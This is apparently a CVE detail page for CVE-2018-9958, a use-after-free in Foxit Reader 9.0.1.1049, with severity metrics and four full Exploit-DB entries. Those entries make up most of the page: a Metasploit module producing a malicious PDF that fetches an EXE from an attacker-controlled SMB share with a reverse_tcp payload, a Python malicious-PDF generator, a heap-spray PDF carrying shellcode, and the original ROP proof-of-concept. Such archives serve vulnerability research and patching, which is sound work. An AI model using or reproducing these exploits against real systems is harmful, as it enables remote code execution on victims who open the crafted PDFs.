CVE-2018-9958 : Detail

CVE-2018-9958

8.8
/
High
Memory Corruption
57.1%V3
Network
2018-05-17
13h00 +00:00
2020-11-28
17h06 +00:00
CVE.org
NVD
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CVE Descriptions

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Foxit Reader 9.0.1.1049. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of Text Annotations. When setting the point attribute, the process does not properly validate the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code under the context of the current process. Was ZDI-CAN-5620.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 45269

Publication date : 2018-08-26 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => 'Foxit PDF Reader Pointer Overwrite UAF', 'Description' => %q{ Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability in the Text Annotations component and the TypedArray's use uninitialized pointers. The vulnerabilities can be combined to leak a vtable memory address, which can be adjusted to point to the base address of the executable. A ROP chain can be constructed that will execute when Foxit Reader performs the UAF. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me', # Use-after-free and PoC 'bit from meepwn', # Uninitialized pointer 'saelo', # JavaScript Garbage Collector 'Jacob Robles' # Metasploit Module ], 'References' => [ ['CVE', '2018-9948'], ['CVE', '2018-9958'], ['ZDI', '18-332'], ['ZDI', '18-342'], ['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'], ['URL', 'https://srcincite.io/pocs/cve-2018-99{48,58}.pdf.txt'] ], 'DefaultOptions' => { 'DisablePayloadHandler' => true, 'FILENAME' => 'test.pdf', 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Platform' => 'win', 'Targets' => [ ['Windows 10 Pro x64 Build 17134', {}] ], 'DisclosureDate' => 'Apr 20 2018', 'DefaultTarget' => 0)) register_options([ OptString.new('EXENAME', [false, 'EXE file to download', '']), OptString.new('SHARE', [false, 'SMB share hosting exe', '']) ]) end def pdfdoc share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE'] fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME'] fname << '.exe' unless fname.ends_with?('.exe') share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}" num = 4 - (share_path.length % 4) share_path << "\x00"*num return nil if share_path.length > 44 print_status("share_path: #{share_path}") rop = '' max_index = 0 share_path.unpack('V*').each_with_index {|blk, index| rop << "\nrop[0x%02x] = 0x%08x" % [index+12, blk] max_index = index } (max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000" % (i+12)} <<~PDFDOC %PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( var heap_ptr = 0; var foxit_base = 0; var pwn_array = []; function prepare_heap(size){ var arr = new Array(size); for(var i = 0; i < size; i++){ arr[i] = this.addAnnot({type: "Text"});; if (typeof arr[i] == "object"){ arr[i].destroy(); } } } function gc() { const maxMallocBytes = 128 * 0x100000; for (var i = 0; i < 3; i++) { var x = new ArrayBuffer(maxMallocBytes); } } function alloc_at_leak(){ for (var i = 0; i < 0x64; i++){ pwn_array[i] = new Int32Array(new ArrayBuffer(0x40)); } } function control_memory(){ for (var i = 0; i < 0x64; i++){ for (var j = 0; j < pwn_array[i].length; j++){ pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4 } } } function leak_vtable(){ var a = this.addAnnot({type: "Text"}); a.destroy(); gc(); prepare_heap(0x400); var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); var leaked = stolen[0] & 0xffff0000; foxit_base = leaked - 0x01f50000; } function leak_heap_chunk(){ var a = this.addAnnot({type: "Text"}); a.destroy(); prepare_heap(0x400); var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); alloc_at_leak(); heap_ptr = stolen[1]; } function reclaim(){ var arr = new Array(0x10); for (var i = 0; i < arr.length; i++) { arr[i] = new ArrayBuffer(0x60); var rop = new Int32Array(arr[i]); rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret rop[0x02] = 0x72727272; // junk rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret rop[0x04] = 0xffffffff; // ret of WinExec rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret rop[0x0a] = foxit_base + 0x0041c6ca; // ret rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret #{rop} rop[0x17] = 0x00000000; // adios, amigo } } function trigger_uaf(){ var that = this; var a = this.addAnnot({type:"Text", page: 0, name:"uaf"}); var arr = [1]; Object.defineProperties(arr,{ "0":{ get: function () { that.getAnnot(0, "uaf").destroy(); reclaim(); return 1; } } }); a.point = arr; } function main(){ leak_heap_chunk(); leak_vtable(); control_memory(); trigger_uaf(); } if (app.platform == "WIN"){ if (app.isFoxit == "Foxit Reader"){ if (app.appFoxitVersion == "9.0.1.1049"){ main(); } } } )>> trailer <</Root 1 0 R>> PDFDOC end def exploit mypdf = pdfdoc if mypdf.nil? fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.') end file_create(mypdf) end end
Exploit Database EDB-ID : 49116

Publication date : 2020-11-26 23h00 +00:00
Author : CrossWire
EDB Verified : No

# Exploit Title: Foxit Reader 9.0.1.1049 - Arbitrary Code Execution # Date: 2020-08-29 # Exploit Author: CrossWire # Vendor Homepage: https://www.foxitsoftware.com/ # Software Link: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English # Version: 9.0.1.1049 # Tested on: Microsoft Windows Server 2016 10.0.14393 # CVE : [2018-9958](https://nvd.nist.gov/vuln/detail/CVE-2018-9958) #!/usr/bin/python3 ''' =========================================================================== | PDF generator for Foxit Reader Remote Code Execution (CVE 2018-9958) | =========================================================================== | Written by: Kevin Dorland (CrossWire) | | Date: 08/29/2020 | | | | Exploit originally discovered by Steven Seeley (mr_me) of Source Incite | | | | References: | | https://www.exploit-db.com/exploits/44941 (Steven Seely Calc.exe PoC) | | https://www.exploit-db.com/exploits/45269 (Metasploit adaptation) | | | =========================================================================== ''' PDF_TEMPLATE = ''' %PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( var heap_ptr = 0; var foxit_base = 0; var pwn_array = []; function prepare_heap(size){ var arr = new Array(size); for(var i = 0; i < size; i++){ arr[i] = this.addAnnot({type: "Text"});; if (typeof arr[i] == "object"){ arr[i].destroy(); } } } function gc() { const maxMallocBytes = 128 * 0x100000; for (var i = 0; i < 3; i++) { var x = new ArrayBuffer(maxMallocBytes); } } function alloc_at_leak(){ for (var i = 0; i < 0x64; i++){ pwn_array[i] = new Int32Array(new ArrayBuffer(0x40)); } } function control_memory(){ for (var i = 0; i < 0x64; i++){ for (var j = 0; j < pwn_array[i].length; j++){ pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4 } } } function leak_vtable(){ var a = this.addAnnot({type: "Text"}); a.destroy(); gc(); prepare_heap(0x400); var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); var leaked = stolen[0] & 0xffff0000; foxit_base = leaked - 0x01f50000; } function leak_heap_chunk(){ var a = this.addAnnot({type: "Text"}); a.destroy(); prepare_heap(0x400); var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); alloc_at_leak(); heap_ptr = stolen[1]; } function reclaim(){ var arr = new Array(0x10); for (var i = 0; i < arr.length; i++) { arr[i] = new ArrayBuffer(0x60); var rop = new Int32Array(arr[i]); rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret rop[0x02] = 0x72727272; // junk rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret rop[0x04] = 0xffffffff; // ret of WinExec rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret rop[0x0a] = foxit_base + 0x0041c6ca; // ret rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret //Path to executable <PATH TO EXECUTABLE> //End Path to executable rop[0x17] = 0x00000000; // adios, amigo } } function trigger_uaf(){ var that = this; var a = this.addAnnot({type:"Text", page: 0, name:"uaf"}); var arr = [1]; Object.defineProperties(arr,{ "0":{ get: function () { that.getAnnot(0, "uaf").destroy(); reclaim(); return 1; } } }); a.point = arr; } function main(){ leak_heap_chunk(); leak_vtable(); control_memory(); trigger_uaf(); } if (app.platform == "WIN"){ if (app.isFoxit == "Foxit Reader"){ if (app.appFoxitVersion == "9.0.1.1049"){ main(); } } } )>> trailer <</Root 1 0 R>> ''' import sys #Enforces 2 hex char byte notation. "0" becomes "0x00" def format_byte(b): if (len(b) > 2) and (b[0:2] == '0x'): b = b[2:] if len(b) == 1: b = '0' + b return '0x' + b def char2hex(c): return format_byte(hex(ord(c))) #Converts file path into array of eleven 32-bit hex words def path_to_machine_code(path,little_endian = True): print("[+] Encoding Path:",path) #ensure length if len(path) > 44: print("[CRITICAL] Path length greater than 44 characters (bytes). Aborting!") exit(-1) #Copy path into 4 character (32 bit) words (max 11) word_array = [] for i in range(11): word = '' if len(path): word += path[0:4] if len(path) >= 4 else path path = path[len(word):] if len(word) < 4: word += chr(0) * (4 - len(word)) word_array.append(word) #Convert chars to hex values and format to "0xAABBCCDD" notation hex_array = [] for word in word_array: #Reverse byte order to fit little endian standard if(little_endian): word = word[::-1] #Write bytes to hex strings hex_string = '0x' for char in word: hex_string += char2hex(char)[2:] #strip the 0x off the byte here hex_array.append(hex_string) return hex_array #writes encoded path to rop array to match template def create_rop(hex_arr, start_index = '0c'): ord_array = [] index = int(start_index,16) for instruction in hex_arr: full_instruction = f"\trop[{format_byte(hex(index))}] = {instruction};" ord_array.append(full_instruction) index += 1 return ('\n'.join(ord_array)) if __name__ == '__main__': if len(sys.argv) != 3: print(f"USAGE: {sys.argv[0]} <path to executable> <pdf filename>") print("-- EXAMPLES --") print(f"{sys.argv[0]} \\\\192.168.0.1\\exploits\\bad.exe evil.pdf") exit(-1) #Parse user args EXE_PATH = sys.argv[1] PDF_PATH = sys.argv[2] #Generate hex raw_hex = path_to_machine_code(EXE_PATH) print("[+] Machine Code:") for hex_word in raw_hex: print(hex_word) ord_string = create_rop(raw_hex) print("[+] Instructions to add:") print(ord_string) print("[+] Generating pdf...") print("\t- Filling template...") evil_pdf = PDF_TEMPLATE.replace('<PATH TO EXECUTABLE>',ord_string) print("\t- Writing file...") with open(PDF_PATH,'w') as fd: fd.write(evil_pdf) print("[+] Generated pdf:",PDF_PATH)
Exploit Database EDB-ID : 45163

Publication date : 2018-08-06 22h00 +00:00
Author : Manoj Ahuje
EDB Verified : No

%PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( /* # Exploit Title: Foxit Reader 9.0.1.1049 - Buffer Overflow (ASLR)(DEP) # Date: 2018-08-04 # Exploit Author: Manoj Ahuje # Tested on: Windows 7 Pro (x32) # Software Link: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English # Version: Foxit Reader 9.0.1.1049 # CVE: N/A # Credits to "Mr_Me" for Reseach and initial exploit #Details: #This exploit make use heap space to store the shellcode in addition to UAF bypassing ASLR and DEP to get successful payload execution */ var heap_ptr = 0; var foxit_base = 0; function heap_spray(size){ var arr = new Array(size); for (var i = 0; i < arr.length; i++) { // re-claim and stack pivot-0x8 arr[i] = new ArrayBuffer(0x10000-0x8);//0xFFF8 var claimed = new Int32Array(arr[i]); var c_length = claimed.length; /* custom made ROP chain virtualalloc call Author: Manoj Ahuje */ claimed[0x00] = foxit_base + 0x01A65184; //# PUSH EAX # POP ESP # POP EDI # POP ESI # POP EBX # POP EBP # RETN claimed[0x01] = foxit_base + 0x01A65184; claimed[0x02] = foxit_base + 0x01A65184; claimed[0x03] = foxit_base + 0x01A65184; claimed[0x04] = foxit_base + 0x14f9195; // # POP EBX # RETN claimed[0x05] = foxit_base + 0x41414141; // claimed[0x06] = foxit_base + 0x1f224fc; // # ptr to &VirtualProtect() claimed[0x07] = foxit_base + 0x0e70281; // # MOV ESI,DWORD PTR DS:[EBX] # RETN claimed[0x08] = foxit_base + 0x1582698; // # POP EBP # RETN claimed[0x09] = foxit_base + 0xa0dbd; // # & jmp esp claimed[0x0a] = foxit_base + 0x14ed06d; // # POP EBX # RETN claimed[0x0b] = 0x00000201; // # 0x00000201-> ebx claimed[0x0c] = foxit_base + 0x1e62f7e; // # POP EDX # RETN claimed[0x0d] = 0x00000040; // # 0x00000040-> edx claimed[0x0e] = foxit_base + 0x1ec06a9; // # POP ECX # RETN claimed[0x0f] = foxit_base + 0x29bac74; // # &Writable location claimed[0x10] = foxit_base + 0xb971f; // # POP EDI # RETN claimed[0x11] = foxit_base + 0x177769e; // # RETN (ROP NOP) claimed[0x12] = foxit_base + 0x1A89808; // # POP EAX # RETN claimed[0x13] = 0x90909090; // # nop claimed[0x14] = foxit_base + 0x129d4f0; // # PUSHAD # RETN claimed[0x15] = 0x90909090; claimed[0x16] = 0x90909090; claimed[0x17] = 0x90909090; claimed[0x18] = 0x90909090; claimed[0x19] = 0x90909090; claimed[0x1a] = 0x90909090; //regular CALCULATOR shellcode claimed[0x1b] = 0xe5d9e389; claimed[0x1c] = 0x5af473d9; claimed[0x1d] = 0x4a4a4a4a; claimed[0x1e] = 0x4a4a4a4a; claimed[0x1f] = 0x434a4a4a; claimed[0x20] = 0x43434343; claimed[0x21] = 0x59523743; claimed[0x22] = 0x5058416a; claimed[0x23] = 0x41304130; claimed[0x24] = 0x5141416b; claimed[0x25] = 0x32424132; claimed[0x26] = 0x42304242; claimed[0x27] = 0x58424142; claimed[0x28] = 0x42413850; claimed[0x29] = 0x49494a75; claimed[0x2a] = 0x4e586b6c; claimed[0x2b] = 0x57306362; claimed[0x2c] = 0x53707770; claimed[0x2d] = 0x6b696e50; claimed[0x2e] = 0x39716455; claimed[0x2f] = 0x6e645050; claimed[0x30] = 0x6470426b; claimed[0x31] = 0x434b6c70; claimed[0x32] = 0x6e6c3662; claimed[0x33] = 0x7562436b; claimed[0x34] = 0x526b6e44; claimed[0x35] = 0x46686452; claimed[0x36] = 0x5037386f; claimed[0x37] = 0x6446764a; claimed[0x38] = 0x4e4f4b71; claimed[0x39] = 0x354c774c; claimed[0x3a] = 0x776c6131; claimed[0x3b] = 0x374c7672; claimed[0x3c] = 0x5a614a50; claimed[0x3d] = 0x374d746f; claimed[0x3e] = 0x38573971; claimed[0x3f] = 0x30525a62; claimed[0x40] = 0x6e376652; claimed[0x41] = 0x6252506b; claimed[0x42] = 0x624b6c30; claimed[0x43] = 0x6c4c576a; claimed[0x44] = 0x476c524b; claimed[0x45] = 0x6d387461; claimed[0x46] = 0x43587133; claimed[0x47] = 0x50513831; claimed[0x48] = 0x334b6c51; claimed[0x49] = 0x35506769; claimed[0x4a] = 0x6e534851; claimed[0x4b] = 0x7539576b; claimed[0x4c] = 0x54736948; claimed[0x4d] = 0x4e79637a; claimed[0x4e] = 0x6c64356b; claimed[0x4f] = 0x6a51354b; claimed[0x50] = 0x39514676; claimed[0x51] = 0x6f4c6e6f; claimed[0x52] = 0x444f4831; claimed[0x53] = 0x4861364d; claimed[0x54] = 0x6b783447; claimed[0x55] = 0x69357450; claimed[0x56] = 0x73337366; claimed[0x57] = 0x5568494d; claimed[0x58] = 0x474d436b; claimed[0x59] = 0x68357454; claimed[0x5a] = 0x4e686364; claimed[0x5b] = 0x6638466b; claimed[0x5c] = 0x59313344; claimed[0x5d] = 0x6c766143; claimed[0x5e] = 0x506c664b; claimed[0x5f] = 0x504b4c4b; claimed[0x60] = 0x656c4758; claimed[0x61] = 0x6c436951; claimed[0x62] = 0x6e34634b; claimed[0x63] = 0x6831436b; claimed[0x64] = 0x61694e50; claimed[0x65] = 0x65746554; claimed[0x66] = 0x514b5174; claimed[0x67] = 0x7351734b; claimed[0x68] = 0x427a6269; claimed[0x69] = 0x396f6971; claimed[0x6a] = 0x734f5170; claimed[0x6b] = 0x4e6a436f; claimed[0x6c] = 0x7832526b; claimed[0x6d] = 0x316d4e6b; claimed[0x6e] = 0x675a534d; claimed[0x6f] = 0x4f4d6c71; claimed[0x70] = 0x57324875; claimed[0x71] = 0x43707770; claimed[0x72] = 0x61306630; claimed[0x73] = 0x6e514678; claimed[0x74] = 0x6e6f706b; claimed[0x75] = 0x6b6f5967; claimed[0x76] = 0x784b4f65; claimed[0x77] = 0x39656d70; claimed[0x78] = 0x73565032; claimed[0x79] = 0x6c666c58; claimed[0x7a] = 0x6d6d4d55; claimed[0x7b] = 0x496f494d; claimed[0x7c] = 0x456c6545; claimed[0x7d] = 0x454c7356; claimed[0x7e] = 0x6b306b5a; claimed[0x7f] = 0x5370394b; claimed[0x80] = 0x4d453445; claimed[0x81] = 0x6567426b; claimed[0x82] = 0x70426343; claimed[0x83] = 0x376a506f; claimed[0x84] = 0x6b336670; claimed[0x85] = 0x3045694f; claimed[0x86] = 0x72313563; claimed[0x87] = 0x7633654c; claimed[0x88] = 0x4235754e; claimed[0x89] = 0x67354558; claimed[0x8a] = 0x00414170; for (var j = 0x8b; j < c_length; j++) { claimed[j] = 0x6d616e6a; } } } function leak(){ /* Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948 Found By: bit from meepwn team */ // alloc var a = this.addAnnot({type: "Text"}); // free a.destroy(); // reclaim var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); // leak the vftable var leaked = stolen[0] & 0xffff0000; // a hard coded offset to FoxitReader.exe base v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68) foxit_base = leaked-0x01f50000; } function reclaim(){ var arr = new Array(0x10); for (var i = 0; i < arr.length; i++) { arr[i] = new ArrayBuffer(0x60); var rop = new Int32Array(arr[i]); rop[0x00] = 0x11000048; for (var j = 0x01; j < rop.length; j++) { rop[j] = 0x71727374; } } } function trigger_uaf(){ /* Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958 Found By: Steven Seeley (mr_me) of Source Incite */ var that = this; var a = this.addAnnot({type:"Text", page: 0, name:"uaf"}); var arr = [1]; Object.defineProperties(arr,{ "0":{ get: function () { // free that.getAnnot(0, "uaf").destroy(); // reclaim freed memory reclaim(); return 1; } } }); a.point = arr; } leak(); heap_spray(0x1000); trigger_uaf(); )>> trailer <</Root 1 0 R>>
Exploit Database EDB-ID : 44941

Publication date : 2018-06-24 22h00 +00:00
Author : mr_me
EDB Verified : Yes

%PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( /* Foxit Reader Remote Code Execution Exploit ========================================== Written by: Steven Seeley (mr_me) of Source Incite Date: 22/06/2018 Technical details: https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html Download: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English Target version: Foxit Reader v9.0.1.1049 (sha1: e3bf26617594014f4af2ef2b72b4a86060ec229f) Tested on: 1. Windows 7 Ultimate x86 build 6.1.7601 sp1 2. Windows 10 Pro x86 v1803 build 10.0.17134 Vulnerabilities leveraged: 1. CVE-2018-9948 2. CVE-2018-9958 */ var heap_ptr = 0; var foxit_base = 0; var pwn_array = []; function prepare_heap(size){ /* This function prepares the heap state between allocations and frees to get a predictable memory address back. */ var arr = new Array(size); for(var i = 0; i < size; i++){ arr[i] = this.addAnnot({type: "Text"});; if (typeof arr[i] == "object"){ arr[i].destroy(); } } } function gc() { /* This is a simple garbage collector, written by the notorious @saelo Greetz, mi amigo. */ const maxMallocBytes = 128 * 0x100000; for (var i = 0; i < 3; i++) { var x = new ArrayBuffer(maxMallocBytes); } } function alloc_at_leak(){ /* This is the function that allocates at the leaked address */ for (var i = 0; i < 0x64; i++){ pwn_array[i] = new Int32Array(new ArrayBuffer(0x40)); } } function control_memory(){ /* This is the function that fills the memory address that we leaked */ for (var i = 0; i < 0x64; i++){ for (var j = 0; j < pwn_array[i].length; j++){ pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4 } } } function leak_vtable(){ /* Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948 Found by: bit from meepwn team */ // alloc var a = this.addAnnot({type: "Text"}); // free a.destroy(); gc(); // kinda defeat lfh randomization in win 10 prepare_heap(0x400); // reclaim var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); // leak the vtable var leaked = stolen[0] & 0xffff0000; // a hard coded offset to FoxitReader.exe base v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68) foxit_base = leaked - 0x01f50000; } function leak_heap_chunk(){ /* Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948 Found by: bit from meepwn team */ // alloc var a = this.addAnnot({type: "Text"}); // free a.destroy(); // kinda defeat lfh randomization in win 10 prepare_heap(0x400); // reclaim var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); // alloc at the freed location alloc_at_leak(); // leak a heap chunk of size 0x40 heap_ptr = stolen[1]; } function reclaim(){ /* This function reclaims the freed chunk, so we can get rce and I do it a few times for reliability. All gadgets are from FoxitReader.exe v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68) */ var arr = new Array(0x10); for (var i = 0; i < arr.length; i++) { arr[i] = new ArrayBuffer(0x60); var rop = new Int32Array(arr[i]); rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret rop[0x02] = 0x72727272; // junk rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret rop[0x04] = 0xffffffff; // ret of WinExec rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret rop[0x0a] = foxit_base + 0x0041c6ca; // ret rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret rop[0x0c] = 0x636c6163; // calc rop[0x0d] = 0x00000000; // adios, amigo for (var j = 0x0e; j < rop.length; j++) { rop[j] = 0x71727374; } } } function trigger_uaf(){ /* Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958 Found by: Steven Seeley (mr_me) of Source Incite */ var that = this; var a = this.addAnnot({type:"Text", page: 0, name:"uaf"}); var arr = [1]; Object.defineProperties(arr,{ "0":{ get: function () { // free that.getAnnot(0, "uaf").destroy(); // reclaim freed memory reclaim(); return 1; } } }); // re-use a.point = arr; } function main(){ // 1. Leak a heap chunk of size 0x40 leak_heap_chunk(); // 2. Leak vtable and calculate the base of Foxit Reader leak_vtable(); // 3. Then fill the memory region from step 1 with a stack pivot control_memory(); // 4. Trigger the uaf, reclaim the memory, pivot to rop and win trigger_uaf(); } if (app.platform == "WIN"){ if (app.isFoxit == "Foxit Reader"){ if (app.appFoxitVersion == "9.0.1.1049"){ main(); } } } )>> trailer <</Root 1 0 R>>

Products Mentioned

Configuraton 0

Foxitsoftware>>Foxit_reader >> Version To (including) 9.0.1.1049

Foxitsoftware>>Phantompdf >> Version To (including) 9.0.1.1049

References

https://www.exploit-db.com/exploits/44941/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/45269/
Tags : exploit, x_refsource_EXPLOIT-DB